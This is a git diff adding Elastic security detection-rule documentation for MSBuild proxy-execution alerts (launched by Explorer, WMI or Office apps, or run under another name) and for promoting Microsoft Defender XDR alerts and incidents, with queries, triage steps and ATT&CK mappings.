@@ +[[prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-system-process]] +=== Microsoft Build Engine Started by a System Process + +An instance of MSBuild, the Microsoft Build Engine, was started by Explorer or the WMI (Windows Management Instrumentation) subsystem. This behavior is unusual and is sometimes used by malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started by a System Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, typically invoked by developers. However, adversaries exploit it to execute malicious code, leveraging its trusted status to bypass security measures. The detection rule identifies unusual MSBuild activity initiated by system processes like Explorer or WMI, which may indicate an attempt to evade defenses and execute unauthorized actions. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on instances where MSBuild.exe is started by explorer.exe or wmiprvse.exe. +- Check the command line arguments used to start MSBuild.exe for any suspicious or unusual parameters that could indicate malicious activity. +- Investigate the user account associated with the process to determine if it aligns with expected behavior or if it might be compromised. +- Examine recent file modifications or creations in directories commonly used by MSBuild to identify any unauthorized or unexpected files. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context on the activity. +- Assess the network activity of the host during the time of the alert to identify any potential data exfiltration or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger MSBuild.exe to start from Explorer or WMI. Monitor these events and verify if they coincide with known software changes. +- Development environments where MSBuild is frequently used might see this behavior as part of normal operations. Identify and document these environments to create exceptions for known development machines. +- Automated scripts or administrative tools that leverage MSBuild for legitimate tasks can cause false positives. Review and whitelist these scripts or tools if they are verified as non-malicious. +- System maintenance tasks initiated by IT personnel might use MSBuild in a manner that appears suspicious. Coordinate with IT to understand routine maintenance activities and exclude them from alerts. +- Security software or monitoring tools that interact with MSBuild for scanning or analysis purposes should be identified and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the MSBuild.exe process if it is confirmed to be executing unauthorized or malicious code. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or associated files. +- Review and analyze the parent processes (explorer.exe or wmiprvse.exe) to determine if they have been compromised or are executing other suspicious activities. +- Restore the system from a known good backup if any critical system files or applications have been altered or corrupted. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for MSBuild.exe and related processes to detect similar activities in the future, ensuring alerts are configured for rapid response. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "MSBuild.exe" and + process.parent.name : ("explorer.exe", "wmiprvse.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-an-office-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-an-office-application.asciidoc new file mode 100644 index 0000000000..d0365bfa31 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-an-office-application.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-microsoft-build-engine-started-by-an-office-application]] +=== Microsoft Build Engine Started by an Office Application + +An instance of MSBuild, the Microsoft Build Engine, was started by an Office application. This is unusual behavior for the Build Engine and could have been caused by a malicious document executing a script payload. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.talosintelligence.com/building-bypass-with-msbuild/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Build Engine Started by an Office Application* + + + +*Possible investigation steps* + + +- What Office-to-MSBuild path did the alert capture? + - Focus: `process.parent.name`, `process.parent.executable`, `process.executable`, and `process.command_line`. + - Implication: escalate when Office launches MSBuild from a user-writable path or against a project, response, or import path unrelated to document work; lower suspicion only when the Office parent, working directory, project argument, and user-host pair align to one add-in, template-packaging, or test case. +- Is the MSBuild binary the expected Microsoft Build Engine instance? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when MSBuild is renamed, unsigned, recently introduced, user-writable, or not signed by the expected Microsoft publisher; lower suspicion when path, original name, signer, and hash history fit the installed Microsoft Build Engine. Identity alone does not clear the Office launch. +- Do the MSBuild arguments indicate inline-task or staged-project abuse? + - Why: MSBuild can execute project-defined tasks, making project or response-file paths the alert-local clue for developer tooling versus payload staging. + - Focus: `process.command_line` and same-process file activity for project or response artifacts. !{investigate{"description":"","label":"File events for MSBuild process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when arguments point to XML, project, response, or imported files in temp, downloads, archive, cache, mail, or relative paths, or when targets do not fit user compilation; lower suspicion when the same project path, target set, and working directory match a recognized developer or packaging workflow. +- Does the parent and user context explain this Office-launched build? + - Focus: `process.parent.command_line`, `user.id`, `host.id`, and `host.name`. + - Implication: escalate when a standard Office user, shared workstation, or unusual parent command line triggers MSBuild without a matching project path and child helper pattern; lower suspicion when `user.id`, `host.id`, parent command line, project path, and child helpers converge on developer packaging or authorized testing. +- Did MSBuild spawn compiler helpers only, or did it hand off to payload tooling? + - Focus: child starts where `process.parent.entity_id` matches `process.entity_id`, then child `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process events for MSBuild","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, recover child starts with `host.id` + `process.pid` + a tight alert window; treat the result as weaker than exact lineage. + - Implication: escalate when MSBuild launches shells, scripting engines, browsers, LOLBins, installers, or children from unexpected paths; lower suspicion when telemetry shows no child starts or only expected compiler helpers such as csc.exe and cvtres.exe for the same recognized project path. Missing child-process telemetry is unresolved, not benign. +- If local evidence is suspicious or unresolved, is this part of a broader Office proxy-execution pattern? + - Focus: related alerts for the same `user.id`, especially Office-to-script, Office-to-LOLBin, persistence, or credential-access activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: check whether the same `host.id` shows Office-launched rundll32.exe, regsvr32.exe, mshta.exe, PowerShell, or suspicious child-process alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope and raise priority when either pivot shows related proxy execution or follow-on alerts; keep localized when related alerts are absent and local evidence points to one stable Office parent, MSBuild project path, child helper pattern, and user-host pair. + +- Escalate when identity, arguments, parent context, child behavior, or related alerts show abnormal Office-launched MSBuild execution; close only when the same signer, parent command line, project path, child helper pattern, `host.id`, and `user.id` support a recognized workflow with no contradictory findings; preserve evidence and escalate when visibility or answers remain mixed. + + +*False positive analysis* + + +- Office add-in, template, document-packaging, or controlled testing workflows can legitimately trigger this rule. Confirm from process evidence that `process.executable`, `process.code_signature.subject_name`, the project or response-file pattern in `process.command_line`, `process.parent.executable`, `process.parent.command_line`, child `process.executable`, and the `user.id` plus `host.id` pair align to the same workflow. When telemetry cannot prove purpose, require outside confirmation before closing; use recurrence only after confirmation to judge exception stability. +- Before creating an exception, validate that the same user-host cohort shows a stable recognized workflow across prior alerts. Keep `process.code_signature.subject_name`, `process.executable`, `process.parent.executable`, the project or response-file pattern in `process.command_line`, `user.id`, and `host.id` stable; allow `process.hash.sha256` changes only when signer, path, and workflow remain consistent with normal updates. Avoid exceptions on `process.name`, Office parent name, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the evidence that validated the workflow: MSBuild signer and path, project-path pattern in `process.command_line`, Office parent context, child-process pattern, and the `user.id` plus `host.id` cohort. Create an exception only after the same pattern recurs consistently across prior alerts. +- If suspicious but unconfirmed, preserve the alert record, process tree, `process.entity_id`, recovered child entity IDs, `process.command_line`, Office parent command line, and project or response-file paths named in the command line before containment. Apply reversible controls first, such as heightened monitoring, temporary delivery blocks, or endpoint isolation when host criticality allows; avoid process termination or file deletion until lineage and scope are clearer. +- If confirmed malicious, preserve the same process and project evidence, then contain the affected `host.id` or `user.id` based on the child-process chain, payload handoff, or related alerts. Block confirmed malicious indicators recovered during the case, collect suspicious project or response files before deletion, and terminate malicious processes only after recording their entity IDs and command lines. +- Eradicate only artifacts tied to the investigated process chain: malicious Office content, MSBuild project or response files, scripts, build outputs, and follow-on payloads identified from child-process execution. Remediate the delivery path that let Office launch the build chain, then scope other `host.id` and `user.id` values for the same project-path pattern or child-process sequence before broader cleanup. +- Post-incident hardening: restrict Office macro, add-in, and template paths that can invoke developer utilities; retain the process evidence that supported the case; record adjacent Office-launched proxy-execution variants in the case notes for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "MSBuild.exe" and + process.parent.name : ("eqnedt32.exe", + "excel.exe", + "fltldr.exe", + "msaccess.exe", + "mspub.exe", + "outlook.exe", + "powerpnt.exe", + "winword.exe" ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-using-an-alternate-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-using-an-alternate-name.asciidoc new file mode 100644 index 0000000000..c02f3074c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-using-an-alternate-name.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-microsoft-build-engine-using-an-alternate-name]] +=== Microsoft Build Engine Using an Alternate Name + +An instance of MSBuild, the Microsoft Build Engine, was started after being renamed. This is uncommon behavior and may indicate an attempt to run unnoticed or undetected. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Build Engine Using an Alternate Name* + + +The OriginalFileName attribute of a PE (Portable Executable) file is a metadata field that contains the original name of the executable file when compiled or linked. By using this attribute, analysts can identify renamed instances that attackers can use with the intent of evading detections, application allowlists, and other security protections. + +The Microsoft Build Engine is a platform for building applications. This engine, also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software, and can be abused to proxy execution of code. + +This rule checks for renamed instances of MSBuild, which can indicate an attempt of evading detections, application allowlists, and other security protections. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.pe.original_file_name == "MSBuild.exe" and + not process.name : "MSBuild.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-defender-xdr-alert-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-defender-xdr-alert-external-alerts.asciidoc new file mode 100644 index 0000000000..489f7b1212 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-defender-xdr-alert-external-alerts.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-microsoft-defender-xdr-alert-external-alerts]] +=== Microsoft Defender XDR Alert External Alerts + +Generates a detection alert for each Microsoft Defender XDR alert written to the configured indices. Microsoft Defender emits multiple update events for the same alert over its lifecycle, all sharing a stable alert identifier. This rule suppresses those update events so that a single, continuous Elastic alert is maintained per Defender alert rather than a new alert per update. Enabling this rule allows you to immediately begin investigating Microsoft Defender XDR alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-m365_defender.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/m365_defender + +*Tags*: + +* Data Source: Microsoft Defender XDR +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Defender XDR Alert External Alerts* + + +Microsoft Defender XDR is a unified pre- and post-breach enterprise defense suite that natively coordinates detection, prevention, investigation, and response across endpoints, identities, email, and applications. The alert data stream (`logs-m365_defender.alert-*`) carries pre-correlated alerts already triaged by Defender. This rule promotes each Defender alert into an Elastic detection alert so analysts can investigate without leaving the app. + +Microsoft Defender emits several update events for the same alert as its status, classification, and evidence evolve. Every update shares the same stable Defender alert identifier (`m365_defender.alert.id`, which the integration also copies into `event.id`). The rule groups on that identifier so subsequent updates accumulate into the existing Elastic alert rather than creating duplicates. + +If you also collect Microsoft Defender alerts through the Microsoft 365 Unified Audit Log (`logs-o365.audit-*`) rather than the native integration data stream, the M365 Defender Alerts Signal (UAL) building block rule (rule_id: 054853f3-2ce0-41f3-a6eb-4a4867f39cdc) generates correlation signals from that source and can be used alongside this promotion rule. + + +*Possible investigation steps* + + +- Review `m365_defender.alert.title`, `m365_defender.alert.category`, and `m365_defender.alert.threat_display_name` to understand what Defender detected. +- Pivot to the Defender portal using `m365_defender.alert.incident_web_url.original` for the full evidence graph, process tree, and remediation status. +- Examine the evidence fields under `m365_defender.alert.evidence.*` (host, file, process, user account, URL, sender) to scope the impacted entities. +- Check `m365_defender.alert.incident_id` to correlate the alert with its parent Defender incident and any sibling alerts. +- Review `m365_defender.alert.status` and `m365_defender.alert.classification` to see whether Defender has already resolved or classified the alert. + + +*False positive analysis* + + +- Defender alerts are pre-correlated and tuned by Microsoft, so true false positives are uncommon. When they occur, confirm with the responsible team before excluding. +- Alerts involving known and trusted administrative tools, security assessments, or scheduled automation may be benign. Validate intent before adding an exception. +- Use `m365_defender.alert.classification` and `m365_defender.alert.determination` to filter out activity Defender itself has marked as a false positive. + + +*Response and remediation* + + +- Isolate affected endpoints or disable affected accounts if malicious behavior is confirmed. +- Use the Defender portal to action native response options (quarantine, automated investigation, account remediation) for the alert. +- Investigate how the threat entered the environment and close any exploited gaps. +- Reset credentials for compromised accounts or escalate to incident response. +- Document the findings and tune the upstream Defender policy or add an Elastic exception as appropriate. + + +==== Setup + + + +*Setup* + + + +*Microsoft Defender XDR Alert Integration* + +This rule is designed to capture alert events generated by the Microsoft Defender XDR integration and promote them as Elastic detection alerts. + +To capture Microsoft Defender XDR alerts, install and configure the Microsoft Defender XDR integration to ingest alert events into the `logs-m365_defender.alert-*` index pattern. + + +*Alert suppression and the Defender update lifecycle* + + +Microsoft Defender writes multiple update events per alert during its lifecycle, all sharing the same stable identifier (`m365_defender.alert.id`, copied to `event.id`). This rule suppresses on that identifier so updates accumulate into one Elastic alert. Note the following alert suppression semantics: + +- Suppression applies going forward from when the suppressing alert is created; it does not retroactively merge alerts created before the rule was enabled. +- Updates are aggregated into the existing alert only while that alert is open and within the suppression window. If an analyst closes the suppressing alert, a later Defender update will open a new Elastic alert. +- The suppression window (default 1 day) is tunable. Size it to your environment's typical Defender alert lifecycle; extending it keeps a single alert open longer but delays new-alert creation for late updates. + + +*Avoiding duplicate alerts* + + +To avoid double-counting, enable either this alert-level rule or the Microsoft Defender XDR Incident External Alerts rule (incident-level), not both: a Defender incident's child alerts appear in both data streams. Choose incident-level for the least noise (one Elastic alert per Defender incident) or alert-level for finer-grained, per-alert triage. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: m365_defender.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-defender-xdr-incident-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-defender-xdr-incident-external-alerts.asciidoc new file mode 100644 index 0000000000..54159510b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-defender-xdr-incident-external-alerts.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-microsoft-defender-xdr-incident-external-alerts]] +=== Microsoft Defender XDR Incident External Alerts + +Generates a detection alert for each Microsoft Defender XDR incident written to the configured indices. Microsoft Defender emits multiple update events for the same incident as its member alerts and status evolve, all sharing a stable incident identifier. This rule suppresses those update events so that a single, continuous Elastic alert is maintained per Defender incident rather than a new alert per update. Enabling this rule allows you to immediately begin investigating Microsoft Defender XDR incidents in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-m365_defender.incident-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/m365_defender + +*Tags*: + +* Data Source: Microsoft Defender XDR +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Defender XDR Incident External Alerts* + + +Microsoft Defender XDR correlates related alerts across endpoints, identities, email, and applications into a single incident, providing the full attack story in one place. The incident data stream (`logs-m365_defender.incident-*`) carries these pre-correlated incidents. This rule promotes each Defender incident into an Elastic detection alert so analysts can investigate the correlated story without leaving the app. + +Microsoft Defender emits several update events for the same incident as member alerts are added and status, classification, and evidence evolve. Every update shares the same stable Defender incident identifier (`m365_defender.incident.id`, which the integration also copies into `event.id`). The rule groups on that identifier so subsequent updates accumulate into the existing Elastic alert rather than creating duplicates. + +The member alerts that make up an incident may also arrive through the Microsoft 365 Unified Audit Log (`logs-o365.audit-*`) rather than the native integration data stream. In that case the M365 Defender Alerts Signal (UAL) building block rule (rule_id: 054853f3-2ce0-41f3-a6eb-4a4867f39cdc) generates correlation signals from that source and can be used alongside this promotion rule. + + +*Possible investigation steps* + + +- Review `m365_defender.incident.display_name`, `m365_defender.incident.severity`, and `m365_defender.incident.tags` to understand the scope and priority of the incident. +- Pivot to the Defender portal using `m365_defender.incident.web_url.original` for the correlated attack story, evidence graph, and recommended actions. +- Examine the member alert fields under `m365_defender.incident.alert.*` (titles, MITRE techniques, detection sources, evidence) to scope the impacted entities and behaviors. +- Review `m365_defender.incident.status`, `m365_defender.incident.classification`, and `m365_defender.incident.determination` to see whether Defender has already resolved or classified the incident. +- Check `m365_defender.incident.redirect_incident_id` to confirm the incident has not been merged into another incident. + + +*False positive analysis* + + +- Defender incidents are pre-correlated and tuned by Microsoft, so true false positives are uncommon. When they occur, confirm with the responsible team before excluding. +- Incidents driven entirely by known and trusted administrative tools, security assessments, or scheduled automation may be benign. Validate intent before adding an exception. +- Use `m365_defender.incident.classification` and `m365_defender.incident.determination` to filter out activity Defender itself has marked as a false positive. + + +*Response and remediation* + + +- Isolate affected endpoints or disable affected accounts if malicious behavior is confirmed across the incident's member alerts. +- 